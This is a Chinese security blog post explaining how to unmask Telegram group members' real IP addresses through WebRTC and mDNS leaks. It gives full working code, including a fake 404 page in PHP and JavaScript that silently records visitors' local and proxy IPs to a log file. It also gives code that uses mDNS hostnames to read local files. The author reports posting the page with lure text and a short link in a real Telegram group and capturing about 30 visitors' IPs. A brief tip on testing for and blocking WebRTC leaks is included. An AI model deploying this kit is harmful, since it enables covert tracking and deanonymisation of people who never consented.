如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

admin 2023年4月17日00:12:23评论75 views字数 8975阅读29分55秒阅读模式

简介


在TG群中获取用户真实IP地址是许多打击网络犯罪和网络安全团队想要解决的难题和目标。虽然该手法成功率不高,只能作为一种尝试或者加入到现有安全产品中作为一个小功能,但仍然有很多人对这方面的技术和方法感兴趣。

本文的重点在于分享Webrtc和mDNS在实际场景中的应用,教你如何轻松实现获取使用代理的主机IP,并附上相关代码,帮助读者更好地理解和实践。


场景介绍

如果你的访问者使用的是xray、v2rayN、Clash等代理软件,并且不是全链路模式,恭喜你很可能可以获取到代理信息。

如果使用WG全代理的模式,基本是不会泄露用户真实IP地址的。


实景演示

本文通过Webrtc的方式,获取访问人本地IP,并展开讲mDNS获取本地资源,同时公布出笔者自己的代码,加上一部分的实景演练,方便读者能直观了解和得到结论。

实战演练部分是通过tg群到暗网交流平台进行钓鱼。获取群内成员的真实IP信息。


我们怎么通过在线检测自己的代理是否存在问题?

https://browserleaks.com/webrtchttps://www.expressvpn.com/webrtc-leak-testhttps://ip8.com/webrtc-test上列网站都可以检测出是否存在,大家可以关闭自己浏览器webrtc功能,或者下载webRTC leak shield插件进行防护

WEBRTC检测结果


如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


WebRTC的整个链路实现过程:


  1. 信令交换:在通话开始之前,浏览器要交换信令以建立连接。信令包括本地和远程描述,以及ICE候选项。本地描述包括本地媒体流的编解码器和分辨率等信息,远程描述包括远程媒体流的编解码器和分辨率等信息。ICE候选项是一些可能的IP地址和端口号,用于在NAT和防火墙之间建立连接。

  2. 媒体协商:浏览器之间通过信令交换协商媒体参数,包括编解码器、分辨率、帧率、比特率等。

  3. 媒体采集:浏览器会从摄像头和麦克风中获取音视频流,并进行编码。

  4. 媒体传输:WebRTC使用RTP协议传输媒体流。RTP协议是面向包的协议,可以在网络上传输音视频流。同时,WebRTC还使用SRTP协议对RTP进行加密和解密。

  5. NAT穿透:由于大多数设备都位于NAT和防火墙之后,WebRTC需要使用STUN和TURN服务器来穿越NAT和防火墙。

  6. 媒体解码:接收端浏览器会对接收到的媒体流进行解码,并将解码后的数据交给浏览器的媒体播放器进行播放。


如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

构建复现代码

自己本地构建Webrtc代码:

index.html

<!DOCTYPE html><html>  <head>    <meta charset="utf-8">    <title>WebRTC泄露检测</title>  </head>  <body>    <h1>WebRTC泄露检测结果</h1>    <ul id="IPLeak"></ul>    <br><br>    <h2>访问IP地址</h2>    <p id="IP"></p>    <h2>主机名</h2>    <p id="Hostname"></p>    <script>      function findIP(onNewIP) {        var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;        var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),        noop = function() {},        localIPs = {},        ipRegex = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,        key;
function ipIterate(ip) { if (!localIPs[ip]) onNewIP(ip); localIPs[ip] = true; }
pc.createDataChannel("");
pc.createOffer(function(sdp) { sdp.sdp.split('n').forEach(function(line) { if (line.indexOf('candidate') < 0) return; line.match(ipRegex).forEach(ipIterate); }); pc.setLocalDescription(sdp, noop, noop); }, noop);
pc.onicecandidate = function(ice) { if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return; ice.candidate.candidate.match(ipRegex).forEach(ipIterate); }; }
function addIP(ip) { var li = document.createElement('li'); li.textContent = ip; document.getElementById("IPLeak").appendChild(li); }
fetch('https://api.ipify.org/?format=json') .then(response => response.json()) .then(data => { var ip = data.ip; document.getElementById("IP").textContent = ip; });
findIP(addIP);
fetch('https://ipinfo.io/json?token=4cd59660789f30') .then(response => response.json()) .then(data => { var hostname = data.hostname; document.getElementById("Hostname").textContent = hostname; });</script> </body></html>

代码构成后,访问记录:


如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

本地的基础IP信息

该记录中的内容,是为我本地IP与代理使用IP。

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


既然真个过程已经完全复现。现在我们来实战一下。


钓鱼页面


为了欺骗点击用户,前端可以制作一个假页面,并配合钓鱼文案的生成。WebRTC代码将在后端执行。

这里推荐我朋友写的一款商业产品【姜太公钓鱼】一款为企业量身定做的甲方内部钓鱼平台。

为了不引起别人的怀疑,制成一个404页面是最保险。只需要一个HTML文件就可以搞定。

如果想要加入更多功能,可以将页面制作成PHP文件。不过如果只需要加入JS,就没有必要这么麻烦了,只需要在页面中加入JS即可,php文件可以伪装成默认页面的形式,笔者没有深入优化,感兴趣的朋友可以自行研究,巫巫这里提供代码给大家。

<?phpif ($_SERVER['REQUEST_METHOD'] === 'POST') {    $ip = $_SERVER['REMOTE_ADDR'];    $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);    $timestamp = date('Y-m-d H:i:s');    $ipleak = $_POST['ipleak'];
$data = "IP: {$ip} | Hostname: {$hostname} | IPLeak: {$ipleak} | Timestamp: {$timestamp}n";
$file = "visitors_log.txt"; file_put_contents($file, $data, FILE_APPEND); exit;}?>
<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>The Page not Found-找不到你要访问的页面</title> </head> <body> <h1>The Page not Found-找不到你要访问的页面</h1> <ul id="IPLeak" style="display:none;"></ul>
<script> function findIP(onNewIP) { var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}), noop = function() {}, localIPs = {}, ipRegex = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g, key;
function ipIterate(ip) { if (!localIPs[ip]) onNewIP(ip); localIPs[ip] = true; }
pc.createDataChannel("");
pc.createOffer(function(sdp) { sdp.sdp.split('n').forEach(function(line) { if (line.indexOf('candidate') < 0) return; line.match(ipRegex).forEach(ipIterate); }); pc.setLocalDescription(sdp, noop, noop); }, noop);
pc.onicecandidate = function(ice) { if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return; ice.candidate.candidate.match(ipRegex).forEach(ipIterate); }; }
function addIP(ip) { var li = document.createElement('li'); li.textContent = ip; document.getElementById("IPLeak").appendChild(li); }
findIP(addIP);
function sendDataToServer() { var xhttp = new XMLHttpRequest(); xhttp.open("POST", "", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); var ipleak = Array.from(document.querySelectorAll('#IPLeak li')).map(li => li.textContent).join(', '); xhttp.send("ipleak=" + ipleak); }
findIP(function (ip) { addIP(ip); sendDataToServer();});</script></body></html>


本地访问结果

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

操作将会在本地生成txt.查看本地txt生成记录,记录将每一次的访问记录追加到visitors_log.

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


出海电鱼

本次使用tg暗网交流群进行钓鱼测试

为了优化一下,我们将钓鱼网页简单加工一下,加上话术。

网页伪装+话术+短链接

现在去tg群撒网打鱼。使用长安不夜城暗网群。

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

构建一个页面

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

现在我们倒数五个数


如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

不一会儿的功夫大概有30个人访问。

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

点击率还是很高,笔者只是简单包装,在一个群组发了消息。


更多的玩法,需要读者去思考挖掘。巫巫给大家做个话题切入。


介绍mDNS,WebRTC host的实现

文章后面继续科普mDNS实际应用与基础信息分享。

什么是mDNS

mDNS指的是多播DNS,它是一种去中心化的解决方案。

在WebRTC的场景下,通常情况下,通过STUN服务器来获取到设备的公网IP。而mDNS的目的是在局域网中发现和解析设备。

为了保护用户隐私,一些浏览器在WebRTC实现中已经引入了mDNS来替换局域网IP。这意味着,对等连接会使用一个随机生成的mDNS主机名来代替设备的局域网IP。


mDNS会有什么安全风险

隐私泄露:mDNS可能会泄漏设备的主机名、IP地址和设备类型等信息。虽然这些信息主要用于本地网络中的设备发现,但在某些情况下,恶意网站可能会利用WebRTC技术获取这些信息,从而窃取用户的隐私。

安全风险:mDNS可能会带来一定的安全风险,因为它在网络中广播设备信息。攻击者可能会利用这些信息发起针对特定设备的攻击。虽然mDNS主要用于本地网络,但恶意网站或攻击者可能会尝试通过WebRTC获取这些信息,从而发起针对用户设备的攻击。

跨站请求伪造(CSRF)攻击:mDNS可能会暴露内部网络设备的IP地址,这可能使得攻击者更容易发起跨站请求伪造(CSRF)攻击。攻击者可能会利用用户的设备信息发起针对内部网络的攻击,从而窃取或篡改网络设备的数据。

大体的访问图:

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

访问网站,生成mDNS主机名:

https://niespodd.github.io/webrtc-local-ip-leak/http://net.ipcalf.com/

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

生成mDNS

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

然后我们就可以通过mDNS这个地址访问自己本地内容。

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


这个xxxxxxxx-xxxx-xxx-xxxx-xxxxxx.local是什么呢?看着是不是IPv6地址,其实它是UUIDv4,是URL.createObjectURL()得到的域名。

WebRTC悄悄地向操作系统注册了mDNS的域名,所以我可以通过它访问本地主机。

WebRTC在使用的过程中,都会调用没DNS来处理。


实现mDNS代码


<!doctype html><html><head> <meta charset="utf-8"> <title>Network IP Address via ipcalf.com</title></head><body>Your network IP is: <h1 id=list>-</h1> Make the locals proud.


<script>
// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed rtc.createDataChannel('', {reliable:false}); };
rtc.onicecandidate = function (evt) { // convert the candidate to SDP so we can run it through our general parser // see https://twitter.com/lancestout/status/525796175425720320 for details if (evt.candidate) grepSDP("a="+evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); });

var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); document.getElementById('list').textContent = displayAddrs.join(" or perhaps ") || "n/a"; }
function grepSDP(sdp) { var hosts = []; sdp.split('rn').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); }})(); else { document.getElementById('list').innerHTML = "<code>ifconfig | grep inet | grep -v inet6 | cut -d" " -f2 | tail -n1</code>"; document.getElementById('list').nextSibling.textContent = "In Chrome and Firefox your IP should display automatically, by the power of WebRTCskull.";}</script>
</body></html>

测试肯定不是目的,我们要让漏洞的可利用放大。


使用mDNS获取本地网络文件。

下面给出利用mDNS获取到的主机名进行本地资源test.txt获取

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】


实现代码如下:

<!DOCTYPE html><html><head>  <meta charset="utf-8">  <title>mDNS文件获取示例</title></head><body>  <h1>mDNS主机名下的test.txt文件内容</h1>  <p id="textContent"></p>
<script> function fetchTestTxt(mdnsHostname) { fetch(`http://${mdnsHostname}/visitors_log.php`) .then(response => { if (response.ok) { return response.text(); } else { throw new Error('无法访问test.txt文件。'); } }) .then(data => { document.getElementById("textContent").textContent = data; }) .catch(error => { console.error('发生错误:', error); document.getElementById("textContent").textContent = '发生错误: 无法获取文件内容'; }); }
// 假设已知的mDNS主机名 const knownMDNS = "09491d48-45cf-4097-be7f-a1630bbd96e0.local"; fetchTestTxt(knownMDNS);</script></body></html>

请将knownMDNS参数修改成自己获得到的mdns值,获取方式,请查看上面文章。visitors_log.php 为你要获取的主机名。


总结

本文通过Webrtc的方式,获取访问人本地IP,并展开讲mDNS获取本地资源,同时公布出笔者自己的代码,加上一部分的实景演练,方便读者能直观了解和得到结论。

实战演练部分是通过tg群到暗网交流平台进行钓鱼。获取群内成员的真实IP信息。


下载地址

本文代码全部打包上传在网盘

关注公众号后回复:tg钓鱼


如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

  星球里将提供:

1.高纬度的网络安全思维模式

2.SRC漏洞挖掘、CTF靶机攻克、企业安全建设、网络边界安全、GAN网络、web3.0安全、企业安全运营、打击涉网犯罪等行业全知识面覆盖

3.高质量的问题交流、导师级顾问服务

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!



原文始发于微信公众号(安全女巫):如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日00:12:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】http://cn-sec.com/archives/1671525.html

发表评论

匿名网友 填写信息